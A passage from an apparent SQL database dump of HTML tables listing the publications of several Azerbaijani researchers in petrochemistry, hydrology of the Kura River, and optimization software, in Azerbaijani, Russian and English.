width=\"173\">Fosforturşu qruplu–ОP(ОH)<sub>2</sub>sorbentlərin alınma üsulu</td><td width=\"227\">Azərbaycan Respublikası Patenti İ &nbsp;2005 0142</td><td width=\"144\">Əzizov A.Ə.Alosmanov R.M.Rəhimov R.A.Əkbərov O.H.</td><td width=\"96\">Azərbaycan</td><td width=\"88\">2005</td><td width=\"72\">&nbsp;</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Polifosfon turşularının sorbsiya xassələrinin tədqiqi</td><td width=\"227\">V Bakı Beynəlxalq Məmmədəliyev adına neft-kimya konfransı</td><td width=\"144\">Əzizov A.Ə.Alosmanov R.M.Rəhimov R.A.&nbsp;</td><td width=\"96\">Bakı</td><td width=\"88\">2002</td><td width=\"72\">s.24</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Замедление испарения нефтепродуктов с помощью реагентов олигомерной природы</td><td width=\"227\">Материалы Международной научно-практической конференции «Нефтепереработка и нефтехимия-2003»</td><td width=\"144\">Асадов З.Г.Ага-заде А.Д.Ахмедова Г.А.Рагимов Р.А.Алиева Г.С.</td><td width=\"96\">Россия,Уфа</td><td width=\"88\">&nbsp;2003</td><td width=\"72\">С.242</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Petroleum-collecting and dispersing properties of oxypropylates of individual monocarboxylic acids (C<sub>16</sub>, C<sub>18</sub>) and their natural fractions</td><td width=\"227\">Processes of petrochemistry and oil refining</td><td width=\"144\">Asadov Z.H.Aga-zade A.D.Zarbaliyeva I.A.Salamova N.V.Ahmadova G.A.Eyubova S.K.Rahimov R.A.Baghirova A.M.</td><td width=\"96\">Baku</td><td width=\"88\">2003</td><td width=\"72\">№4 (15), P. 4-16</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Synthesis of surface-active ethers and esters based on (di)methylaminoethanol and propylene oxide</td><td width=\"227\">Georgia Chemical Journal</td><td width=\"144\">Asadov Z.H.Aga-zade A.D.Ahmadova G.A.Nasibova Sh.M.Rahimov R.A.Aliyeva G.S.</td><td width=\"96\">Georgia</td><td width=\"88\">2003</td><td width=\"72\">Vol. 3, №3, P. 205-211</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Heterozəncirli oliqomerlərlə benzinin buxarlanmasının zəiflədilməsi</td><td width=\"227\">Azərbaycan MEA aspirantlarının Elmi Konfransı</td><td width=\"144\">Rəhimov R.A.</td><td width=\"96\"><strong><em>Bakı</em></strong></td><td width=\"88\">2004</td><td width=\"72\">s.103-104</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">(Chlor)oxypropylation of polyatomic aliphatic alcohols (C<sub>2</sub>-C<sub>3</sub>)</td><td width=\"227\">XVIII Ulusal Kimya Kongresi</td><td width=\"144\">Aga-zade A.D.Asadov Z.H.Ahmadova G.A.Rahimov R.A.Baghirova R.A.</td><td width=\"96\">Turkey,Kars</td><td width=\"88\">&nbsp;2004</td><td width=\"72\">P. 1026</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Oligomeric derivatives of epichlorohydrin and propylene oxide for decreasing the rate of gasoline evaporation</td><td width=\"227\">11<sup>th</sup>&nbsp;International Conference on Polymers and Organic Chemistry.</td><td width=\"144\">Asadov Z.H.Ahmadova G.A.Aga-zade A.D.Rahimov R.A.</td><td width=\"96\">Czech Republic,Prague</td><td width=\"88\">&nbsp;2004</td><td width=\"72\">P.70</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Retarding of the gasoline evaporation with an aid of additives</td><td width=\"227\">18<sup>th</sup>&nbsp;International Conference on Chemical Education. August 3-8, 2004.,</td><td width=\"144\">Asadov Z.H.Ahmadova G.A.Aga-zade A.D.Rahimov R.A.</td><td width=\"96\">Turkey,Istanbul</td><td width=\"88\">2004</td><td width=\"72\">P. 163</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Олигомерные реагенты для снижения скорости испарения бензина</td><td width=\"227\">Материалы В Международной научной конференции «Экология и безопасность жизнедеятельности»</td><td width=\"144\">Асадов З.Г.Ахмедова Г.А.Рагимов Р.А.Багирова А.М.</td><td width=\"96\">Сумгаит</td><td width=\"88\">&nbsp;2004</td><td width=\"72\">с.140-141</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Synthesis of surface-active ethers and esters based on (di)methyl-aminoethanol and propylene oxide</td><td width=\"227\">Georgia Chemical Journal</td><td width=\"144\">Asadov Z.H.Aga-zade A.D.Ahmadova G.А.Nasibova Sh.M.Rahimov R.A.Aliyeva G.S.</td><td width=\"96\">Georgia</td><td width=\"88\">2004</td><td width=\"72\">Vol 4, №2, p.113-119</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Получение, физико-химические характеристики, нефтесобирающие и диспергирующие свойства новых поверхностно-активных веществ на основе фракции кислот касторового масла, пропиленоксида и этаноламинов</td><td width=\"227\">Химический Журнал Грузии</td><td width=\"144\">Асадов З.Г.Ага-заде А.Д.Ахмедова Г.А.Зарбалиева И.А.Рагимов Р.А.Саламова Н.В.</td><td width=\"96\">Грузия</td><td width=\"88\">2005</td><td width=\"72\">№3, том 5, с.286-299</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Олигомеры на основе эпоксидов в качестве замедлителей испарения бензина</td><td width=\"227\">Тезисы докладов VI Бакинской Международной Мамедалиевской конференции по нефтехимии, посвященной 100-летию академика Ю.Г.Мамедалиева</td><td width=\"144\">Асадов З.Г.Рагимов Р.А.Ахмедова Г.А.Ага-заде А.Д.</td><td width=\"96\">Баку</td><td width=\"88\">&nbsp;2005</td><td width=\"72\">с.171</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Получение и физико-химические характеристики поверхностно-активных олигомеров на основе этиленгликоля, пропиленоксида и фосфатирующих агентов</td><td width=\"227\">Азербайджанский Химический Журнал</td><td width=\"144\">Асадов З.Г.Рагимов Р.А.Ахмедова Г.А.&nbsp;</td><td width=\"96\">Баку</td><td width=\"88\">2005</td><td width=\"72\">№2, с.28-33</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Каталитическая конденсация глицерина с пропиленоксидом и эпихлоргидрином</td><td width=\"227\">III Международная научная конференция «Тонкий органический синтез и катализ», посвященная 85-летнему юблиею Азербайджанской Государственной Нефтяной Академии</td><td width=\"144\">Асадов З.Г.Рагимов Р.А.Ахмедова Г.А.Ага-заде А.Д.&nbsp;&nbsp;</td><td width=\"96\">Баку</td><td width=\"88\">&nbsp;2005</td><td width=\"72\">с.307-310</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Закономерности реакции оксипропилирования глицерина с помощью оксида пропилена</td><td width=\"227\">Процессы Нефтехимии и Нефтепереработки</td><td width=\"144\">Асадов З.Г.Рагимов Р.А.Ахмедова Г.А.</td><td width=\"96\">Baku</td><td width=\"88\">2006</td><td width=\"72\">1(24) с.19-30</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Пленкообразующие олигомеры, уменьшающие потери бензина при испарении</td><td width=\"227\">Химический Журнал Грузии</td><td width=\"144\">Асадов З.Г.Рагимов Р.А.Ахмедова Г.А.</td><td width=\"96\">Грузия</td><td width=\"88\">2006</td><td width=\"72\">т. 6, №2, с.201-217</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Regularities of reaction of glycerine oxypropylation with propylene oxide</td><td width=\"227\">Prosesses of petrochemistry and oil refining</td><td width=\"144\">Asadov Z.H.Rahimov R.A.Ahmadova G.A.</td><td width=\"96\">Baku</td><td width=\"88\">2006</td><td width=\"72\">№1(24) P.18-28</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Кинетические закономерности реакции хлороксипропилирования глицерина эпихлоргидрином</td><td width=\"227\">Азербайджанский Химический Журнал&nbsp;</td><td width=\"144\">Асадов З.Г.Ахмедова Г.А.Багирова А.М.Рагимов Р.А</td><td width=\"96\">Баку</td><td width=\"88\">2007</td><td width=\"72\">№ 1. С.93-100</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Oligomers of epoxides for retarding gasoline vaporization</td><td width=\"227\">European Polymer Congress</td><td width=\"144\">Asadov Z.H.Ahmadova G.A.Rahimov R.A.Baghirova A.M.</td><td width=\"96\">Slovenia,Portorož</td><td width=\"88\">2007</td><td width=\"72\">P.190</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Закономерности реакции оксипропилирования каприновой кислоты оксидом пропилена и свойства конечных оксипропилатов</td><td width=\"227\">Азербайджанский Химический Журнал</td><td width=\"144\">Асадов З.Г.Зарбалиева И.А.Рагимов Р.А.Ахмедова Г.А.&nbsp;</td><td width=\"96\">Баку</td><td width=\"88\">2007</td><td width=\"72\">№ 2. С.84-92</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Микроэмульсионные пленки, замедляющие испарение бензина при хранении&nbsp;</td><td width=\"227\">Материалы Междун. Научн. Конф. «Экология: естественные и общественные проблемы», посвящ. 100-летнему юбилею акад. Гасана Алиева.</td><td width=\"144\">Асадов З.Г.Ахмедова Г.А.Рагимов Р.А.&nbsp;</td><td width=\"96\">Баку</td><td width=\"88\">&nbsp;2007</td><td width=\"72\">С. 413-414.</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Сложноэфирно-олигомерные реагенты на основе эпоксидов для уменьшения потерь бензина от испарения&nbsp;</td><td width=\"227\">Материалы 6-ой Междун.Научн.Конф. «Экология и охрана жизнедеятельности», посвящ. 100-летию со дня рожд. акад. Гасана Алиева</td><td width=\"144\">Асадов З.Г.Ахмедова Г.А.Рагимов Р.А.&nbsp;</td><td width=\"96\">Сумгаит</td><td width=\"88\">&nbsp;2007</td><td width=\"72\">С. 73-74</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Synthesis and physico-chemical characterization of novel surface-active oligomers based on 1.3-butylene glycol and propylene oxide&nbsp;</td><td width=\"227\">Georgia Chemical Journal&nbsp;</td><td width=\"144\">Asadov Z.H.Rahimov R.A.Ahmadova G.A.Husseynova M.B.Ahmadbayova S.F.</td><td width=\"96\">Georgia</td><td width=\"88\">2007</td><td width=\"72\">Vol. 7, №4. P.391-397</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Получение, физико-химические характеристики, нефтесобирающие и диспергирующие свойства новых поверхностно-активных веществ на основе фракции кислот касторового масла, пропиленоксида и этаноламинов</td><td width=\"227\">В кн.:Экологические проблемы Земли и альтернативные источники энергии (составители:М.И.Рустамов, В.М.Аббасов, Т.А.Мамедова,Н.Н.Пириев)&nbsp;</td><td width=\"144\">Асадов З.Г.Ага-заде А.Д.Ахмедова Г.А.Зарбалиева И.А.Рагимов Р.А.Саламова Н.В.&nbsp;</td><td width=\"96\">Баку:Элм</td><td width=\"88\">2008</td><td width=\"72\">C. 384-400</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Олигомеры на основе эпоксисоединений и ортофосфорной кислоты&nbsp;</td><td width=\"227\">Азербайджанский Химический Журнал</td><td width=\"144\">Асадов З.Г.Ахмедова Г.А.Рагимов Р.А.</td><td width=\"96\">Баку</td><td width=\"88\">2007</td><td width=\"72\">№ 4. С.33-39</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Получение нефтесобирающих реагентов хлороксипропилированием стеариновой кислоты эпихлоргидрином и кинетические закономерности реакции</td><td width=\"227\">Тезисы докладов научной конференции, посвященной 100-летнему юбилею акад. М.Ф.Нагиева.&nbsp;</td><td width=\"144\">Ахмедова Г.А.Асадов З.Г.Рагимов Р.А.&nbsp;</td><td width=\"96\">Баку</td><td width=\"88\">2008</td><td width=\"72\">С.180-181</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Закономерности реакции хлороксипропилирования стеариновой кислоты хлорэпоксипропаном, нефтесобирающие и диспергирующие свойства конечных хлороксипропилатов и их модификатов</td><td width=\"227\">Нефтепереработка и Нефтехимия&nbsp;</td><td width=\"144\">Ахмедова Г.А.Асадов З.Г.Рагимов Р.А.&nbsp;</td><td width=\"96\">Москва</td><td width=\"88\">2008</td><td width=\"72\">№6. С.50-56</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Кинетические закономерности реакции оксипропилирования пальмитиновой, стеариновой и олеиновой кислоты</td><td width=\"227\">Химический Журнал Грузии&nbsp;</td><td width=\"144\">Асадов З.Г.Саламова Н.В.Ахмедова Г.А.Рагимов Р.А.&nbsp;</td><td width=\"96\">Грузия</td><td width=\"88\">2008</td><td width=\"72\">№ 3. С.261-265</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Surface-active oligoethers for retardation of gasoline vaporization</td><td width=\"227\">European polymer congress</td><td width=\"144\">Ahmadova G.A.Asadov Z.H.Rahimov R.A.</td><td width=\"96\">Austria,Graz</td><td width=\"88\">2009</td><td width=\"72\">&nbsp;</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Поверхностно-активные вещества на основе пентаэритрита и С<sub>3</sub>-эпоксидов для замедления испарения бензина</td><td width=\"227\">Тезисы докладов VII Бакинская Международная Мамедалиевская конференция по нефтехимии, посвященная 80-летию ИНХП НАН Азербайджана</td><td width=\"144\">Асадов З.Г.Ахмедова Г.А.Рагимов Р.А.Ага-заде А.Д.Мамедова Х.А.</td><td width=\"96\">&nbsp;Баку</td><td width=\"88\">2009</td><td width=\"72\">с.86-87</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Saxlanma zamanı benzinlərin buxarlanma itkilərinin azaldılması üsulu</td><td width=\"227\">Azərbaycan Respublikası Patenti İ 2009 0176</td><td width=\"144\">Əsədov Z.H.Rəhimov R.A.Ağa-zadə Ə.D.Əhmədova G.A.Qasımzadə E.Ə.</td><td width=\"96\">Bakı</td><td width=\"88\">2009</td><td width=\"72\">&nbsp;</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Çoxatomlu spirtlərin oliqomer təbiətli oksipropil efirləri ilə benzinin buxarlanmasının ləngidilməsi</td><td width=\"227\">АМЕА məruzələri</td><td width=\"144\">Əsədov Z.H.Rəhimov R.A.Ağa-zadə Ə.D.Əhmədova G.A.</td><td width=\"96\">Вakı</td><td width=\"88\">2009</td><td width=\"72\">LXV, №1, с.39-44</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Аzoderivatives of b-diketones as an analyticalreagents in the photometric determination of iron(iii)</td><td width=\"227\">Тезисы докладов IV региональная конференция молодых ученых «Теоритическая экспериментальная химия жидкофазных систем»</td><td width=\"144\">Aliyeva R.A.Aliyev I.A.Azimova S.I.Mahmudov K.T.</td><td width=\"96\">Россия,Иваново</td><td width=\"88\">&nbsp;2009</td><td width=\"72\">с.111-112</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Thermodynamic, tautomeric, spectroscopic, studies on 3-(4-fluorophenylhydrazo)pentane-2,4-dione</td><td width=\"227\">Тезисы докладов IV региональная конференция молодых ученых «Теоритическая экспериментальная химия жидкофазных систем»</td><td width=\"144\">Maharramov A.M.Aliyev I.A.Aliyeva R.A.Mahmudov K.T.</td><td width=\"96\">Россия,Иваново</td><td width=\"88\">&nbsp;2009</td><td width=\"72\">с.112-113</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Pambıq yağı turşu fraksiyası (PYTF), etanolaminlər və fosfat turşusu əsasında yeni neftyığıcı və dispersləyici reagentlər</td><td width=\"227\">Prof. A.Ə.Verdizadənin 95 illik yubileyinə həsr olunmuş “Üzvi reagentlər analitik kimyada” pespublika konfransı</td><td width=\"144\">Əsədov Z.H.Zərbəliyeva İ.A.Salamova N.V.Ağa-zadə Ə.D.Əhmədova G.A.Rəhimov R.A.</td><td width=\"96\">Bakı</td><td width=\"88\">2009</td><td width=\"72\">&nbsp;</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Получение новых поверхностно-активных веществ на основе кислотных фракций талового масла</td><td width=\"227\">Процессы нефтехимии и нефтепереработки.&nbsp;</td><td width=\"144\">Асадов З.Г.Зарбалиева И.А.Ахмедова Г.А.Рагимов Р.А.Мамедова Х.А.</td><td width=\"96\">Баку</td><td width=\"88\">2010</td><td width=\"72\">№2 (42). С.139-146</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Colloidal-chemical parameters and petroleum-collecting properties of chloropropoxylate surfactants based on epichlorohydrin and carboxylic acids fractions of animal origin</td><td width=\"227\">J. Materials Innovations Research&nbsp;</td><td width=\"144\">Asadov Z.H.Ahmadova G.A.Rahimov R.A.</td><td width=\"96\">USA</td><td width=\"88\">2010</td><td width=\"72\">V.14. N 4 P.327-331</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Surface activity, thermodynamics of micellization and adsorption properties of quaternary salts based on ethanolamines and decyl bromide</td><td width=\"227\">J. Surfactant and Detergent</td><td width=\"144\">Asadov Z.H.Rahimov R.A.Nasibova Sh.M.Ahmadova G.A.&nbsp;</td><td width=\"96\">USA</td><td width=\"88\">2010</td><td width=\"72\">v.13, N 4. Р.459-464</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Каталитическое взаимодействие триглицеридов растительных масел и этаноламинов</td><td width=\"227\">Материалы Азербайджано-Российского симпозиума с междун. Участием «Катализ в решении проблем нефтехимии и нефтепереработки»</td><td width=\"144\">Асадов З.Г.Рагимов Р.А.Саламова Н.В.Зарбалиева И.А.&nbsp;</td><td width=\"96\">Баку</td><td width=\"88\">2010</td><td width=\"72\">С.176-177</td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"173\">Новые нефтесобирающие и диспергирующие реагенты на основе этаноламинов, ортофосфорной кислоты, кукурузного и оливкового масел</td><td width=\"227\">В сборнике трудов ИНХП НАНА «Нефтепереработка,нефтехимия, катализ».&nbsp;</td><td width=\"144\">Асадов З.Г.Рагимов Р.А.Саламова Н.В.Ахмедова Г.А.Зарбалиева И.А.&nbsp;&nbsp;</td><td width=\"96\">Баку:Элм</td><td width=\"88\">2010</td><td width=\"72\">С.107-120</td></tr></tbody></table></h5>  <br></div>'),(1554,969,'az','Rovshan Abbasov','Rovshan Abbasov','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"606\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><tbody><tr><td width=\"31\"><p>#</p></td><td width=\"167\"><p>Title of publication</p></td><td width=\"84\"><p>Publications type/publication activities</p><p>&nbsp;</p></td><td width=\"102\"><p>All Authors</p></td><td width=\"114\"><p>Publisher &amp; Place of&nbsp; Publication</p></td><td width=\"48\"><p>Year Published</p></td><td width=\"60\"><p>Vol. &amp; Pages</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Assesment of Ecological Flow for Mountain Rivers of the Kura Basin</p></td><td width=\"84\"><p>&nbsp;</p><p>&nbsp;</p><p>Book chapter</p></td><td width=\"102\"><p>&nbsp;</p><p>Rovshan Abbasov</p></td><td width=\"114\"><p>Springer;</p><p>International</p><p>Survival and Sustainability</p><p>Environmental Earth Sciences</p></td><td width=\"48\"><p>2011</p></td><td width=\"60\"><p>2011, Part 8, 1369-1379</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Introducing envi­ron­mental thresholds into water withdrawal mana­g­­ement of moun­tain streams in the Kura River basin, Azerbaijan</p><p>&nbsp;</p></td><td width=\"84\"><p>Journal paper</p></td><td width=\"102\"><p>Rovshan Abbasov, Vladimir Smakhtin</p></td><td width=\"114\"><p>Hydrological Sciences Journal; International</p></td><td width=\"48\"><p>2010</p></td><td width=\"60\"><p>vol.54 no.6</p><p>1068-1078</p><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Analysis of non clima­tic origins of floods in the downstream part of the Kura River, Azerbaijan</p><p>&nbsp;</p></td><td width=\"84\"><p>Journal paper</p></td><td width=\"102\"><p>Rovshan Abbasov, Rza Mahmudov</p></td><td width=\"114\"><p>Natural Hazards Journal;</p><p>International</p></td><td width=\"48\"><p>2009</p></td><td width=\"60\"><p>Vol,50 #2</p><p>235-248</p><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Evaluation of Factors Contributing to Floods in the Outlet Part of the Kura River, Azerbaijan</p></td><td width=\"84\"><p>Journal paper</p></td><td width=\"102\"><p>Rovshan Abbasov</p></td><td width=\"114\"><p>Journal of Azerbaijani Studies, Khazar University</p></td><td width=\"48\"><p>2010</p></td><td width=\"60\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Indexing Environmental Vulnerability of Mountain Streams in Azerbaijan</p></td><td width=\"84\"><p>Journal paper</p></td><td width=\"102\"><p>Rovshan Abbasov; Vladimir Smakhtin</p></td><td width=\"114\"><p>12</p></td><td width=\"48\"><p>2011</p><p>&nbsp;</p></td><td width=\"60\"><p>Accepted</p></td></tr></tbody></table>  <br></div>'),(1555,969,'en','Rovshan Abbasov','Rovshan Abbasov','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"606\"><tbody><tr><td width=\"31\"><p>#</p></td><td width=\"167\"><p>Title of publication</p></td><td width=\"84\"><p>Publications type/publication activities</p><p>&nbsp;</p></td><td width=\"102\"><p>All Authors</p></td><td width=\"114\"><p>Publisher &amp; Place of&nbsp; Publication</p></td><td width=\"48\"><p>Year Published</p></td><td width=\"60\"><p>Vol. &amp; Pages</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Assesment of Ecological Flow for Mountain Rivers of the Kura Basin</p></td><td width=\"84\"><p>&nbsp;</p><p>&nbsp;</p><p>Book chapter</p></td><td width=\"102\"><p>&nbsp;</p><p>Rovshan Abbasov</p></td><td width=\"114\"><p>Springer;</p><p>International</p><p>Survival and Sustainability</p><p>Environmental Earth Sciences</p></td><td width=\"48\"><p>2011</p></td><td width=\"60\"><p>2011, Part 8, 1369-1379</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Introducing envi­ron­mental thresholds into water withdrawal mana­g­­ement of moun­tain streams in the Kura River basin, Azerbaijan</p><p>&nbsp;</p></td><td width=\"84\"><p>Journal paper</p></td><td width=\"102\"><p>Rovshan Abbasov, Vladimir Smakhtin</p></td><td width=\"114\"><p>Hydrological Sciences Journal; International</p></td><td width=\"48\"><p>2010</p></td><td width=\"60\"><p>vol.54 no.6</p><p>1068-1078</p><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Analysis of non clima­tic origins of floods in the downstream part of the Kura River, Azerbaijan</p><p>&nbsp;</p></td><td width=\"84\"><p>Journal paper</p></td><td width=\"102\"><p>Rovshan Abbasov, Rza Mahmudov</p></td><td width=\"114\"><p>Natural Hazards Journal;</p><p>International</p></td><td width=\"48\"><p>2009</p></td><td width=\"60\"><p>Vol,50 #2</p><p>235-248</p><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Evaluation of Factors Contributing to Floods in the Outlet Part of the Kura River, Azerbaijan</p></td><td width=\"84\"><p>Journal paper</p></td><td width=\"102\"><p>Rovshan Abbasov</p></td><td width=\"114\"><p>Journal of Azerbaijani Studies, Khazar University</p></td><td width=\"48\"><p>2010</p></td><td width=\"60\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"167\"><p>Indexing Environmental Vulnerability of Mountain Streams in Azerbaijan</p></td><td width=\"84\"><p>Journal paper</p></td><td width=\"102\"><p>Rovshan Abbasov; Vladimir Smakhtin</p></td><td width=\"114\"><p>12</p></td><td width=\"48\"><p>2011</p><p>&nbsp;</p></td><td width=\"60\"><p>Accepted</p></td></tr></tbody></table>  <br></div>'),(1556,970,'az','Sakhavet Talibov','Sakhavet Talibov','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"643\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><tbody><tr><td width=\"36\"><p>#</p></td><td width=\"125\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"104\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"125\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"121\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong></strong></p></td><td width=\"57\"><p><strong>Year Published</strong><strong></strong></p></td><td width=\"76\"><p><strong>Vol. &amp; Pages</strong><strong></strong></p></td></tr><tr><td width=\"36\"><p><strong>1.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"125\"><p>&nbsp;Пакет программ для решения задач оптимального управление с сосредоточен ными параметрами</p></td><td width=\"104\"><p>тезис</p></td><td width=\"125\"><p><strong>Г.Г.Гасымов Г.П.Левченко</strong></p></td><td width=\"121\"><p>Материалы I Рес- публикан-сkой конференции молодых ученых по прик ладной мате-мати ке и кибернетике Баку, декабрь&nbsp;&nbsp; 1981 г.</p></td><td width=\"57\"><p><strong>1981</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>2.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"125\"><p>Экстраполяционные методы в математическом программировании&nbsp;</p></td><td width=\"104\"><p>статья</p></td><td width=\"125\"><p><strong>М.А.Калаушин</strong></p></td><td width=\"121\"><p>Материалы I Рес- публикан-сkой конференции молодых ученых по прик ладной мате-мати ке и кибернетике Баку, декабрь&nbsp;&nbsp; 1981 г.</p></td><td width=\"57\"><p><strong>1981</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>3.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"125\"><p>Об информационно-технической подсистеме адаптивной&nbsp; АСУ ТП, функционирующией в режиме замкнутого контура управления</p></td><td width=\"104\"><p>тезис</p></td><td width=\"125\"><p><strong>А.А.Мамедов</strong></p><p><strong>В.Г.Мовсумов</strong></p><p><strong>Л.В.Онистрат</strong></p></td><td width=\"121\"><p>Приборы,средства автомати-зации и систем управления. Проблемы создания и опыт внедрения автоматизирован-ных систем управления в нефтяной, нефтеперерабаты-вающей и нефтехимической промышленности. М., ЦНИИТЭИ,1980</p></td><td width=\"57\"><p><strong>1980</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>4.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"125\"><p>Использование экстрапо-</p><p>ляции в математическом</p><p>программировании</p></td><td width=\"104\"><p>статья</p></td><td width=\"125\"><p><strong>К.Р.Айда-заде</strong></p><p><strong>Р.И.Али-заде</strong></p></td><td width=\"121\"><p>Изв.АН.Азерб.&nbsp;&nbsp;</p><p>ССР.сер.физ.тех.</p><p>и матем.наук,&nbsp;&nbsp;</p></td><td width=\"57\"><p><strong>1982</strong></p></td><td width=\"76\"><p><strong>N 5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>5.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"125\"><p>Пакет&nbsp; программ оптимимизации. Управление пакетом</p></td><td width=\"104\"><p>тезис</p></td><td width=\"125\"><p><strong>К.Р.Айда-заде</strong></p><p><strong>Н.С.Сидоренко</strong></p><p><strong>М.А.Калаушин</strong></p><p><strong>Г.П.Левченко</strong></p><p><strong>Г.В.Богданова</strong></p></td><td width=\"121\"><p>В.кн. Стандартизация. ППП оптимизации. Йошкар--Ола,&nbsp;&nbsp;&nbsp;</p></td><td width=\"57\"><p><strong>1982</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>6.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"125\"><p>Минимизация функции многих переменных методом Розенброка</p></td><td width=\"104\"><p><strong>&nbsp;</strong></p></td><td width=\"125\"><p><strong>К.Р.Айда-заде</strong></p><p><strong>Г.Б.Богданова</strong></p></td><td width=\"121\"><p>Принят в програмный фонд СОФАП КПКБ АСУ Минприбора СССР ПП 1662.00122.01</p></td><td width=\"57\"><p><strong>&nbsp;</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>7.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"125\"><p>Система управления межпромысловым транспортом газа&nbsp;</p></td><td width=\"104\"><p>тезис</p></td><td width=\"125\"><p><strong>Г.Г.Гасымов</strong></p><p><strong>А.В.Хаджибекян</strong></p></td><td width=\"121\"><p>Республиканская школа 